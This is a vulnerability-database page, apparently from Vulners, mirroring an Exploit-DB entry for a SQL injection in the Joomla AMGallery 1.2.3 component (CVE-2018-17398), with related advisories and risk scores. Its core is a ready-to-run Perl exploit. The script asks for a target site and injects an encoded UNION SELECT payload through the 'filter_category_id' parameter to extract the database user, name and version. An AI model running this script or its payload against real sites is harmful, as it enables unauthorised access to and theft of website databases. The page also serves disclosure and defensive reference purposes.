Lucene search
+L

Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection (SQLi)

🗓️ 24 Sep 2018 00:00:00Reported by Ihsan SencanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 41 Views

Joomla! Component AMGallery 1.2.3 SQL Injection - Exploi

Related
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
Joomla! AMGallery Component SQL Injection Vulnerability
21 Jun 201900:00
–cnvd
cve
CVE
CVE-2018-17398
19 Jun 201916:44
–cve
cvelist
Cvelist
CVE-2018-17398
19 Jun 201916:44
–cvelist
euvd
EUVD
EUVD-2018-9152
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2018-17398
19 Jun 201917:15
–nvd
osv_cve
osv_cve
CVE-2018-17398
19 Jun 201917:15
–osv_cve
prion
Prion
Sql injection
19 Jun 201917:15
–prion
ptsecurity
Positive Technologies
PT-2019-9463
19 Jun 201900:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2018-17398: Improper Neutralization of Special Elements used in an SQL Command
19 Jun 201900:00
–rapid7
redhatcve
RedhatCVE
CVE-2018-17398
22 May 202507:48
–redhatcve
# Exploit Title: Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection
# Exploit Author: Ihsan Sencan
# Dork: N/A
# Date: 2018-09-18
# Vendor Homepage: http://arenam.ru/
# Software Link: https://extensions.joomla.org/extensions/extension/photos-a-images/galleries/amgallery/
# Version: 1.2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #

# # # # #
# POC:
#
# 1)
# # # # #

#!/usr/bin/perl -w
# # # # #

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "
################################################################################
        ______  _______ ___    _   __   _____ _______   ___________    _   __
       /  _/ / / / ___//   |  / | / /  / ___// ____/ | / / ____/   |  / | / /
       / // /_/ /\__ \/ /| | /  |/ /   \__ \/ __/ /  |/ / /   / /| | /  |/ /
     _/ // __  /___/ / ___ |/ /|  /   ___/ / /___/ /|  / /___/ ___ |/ /|  /
    /___/_/ /_//____/_/  |_/_/ |_/   /____/_____/_/ |_/\____/_/  |_/_/ |_/

                                       +
                Joomla! Component AMGallery 1.2.3 - SQL Injection
################################################################################
";

use LWP::UserAgent;
print "\nTarget:[http://site.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress.....\n";
print "\n";
$efe="%2d%36%36%36%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%23";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0');
$host = $target . "?filter_category_id=".$efe."";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/<h2 class="amGalleryCatTitle">(.*?)<\/h2>/){
print "[+] Success !!!\n";
print "\n[+] Detail : $1\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 39.8
EPSS0.046
41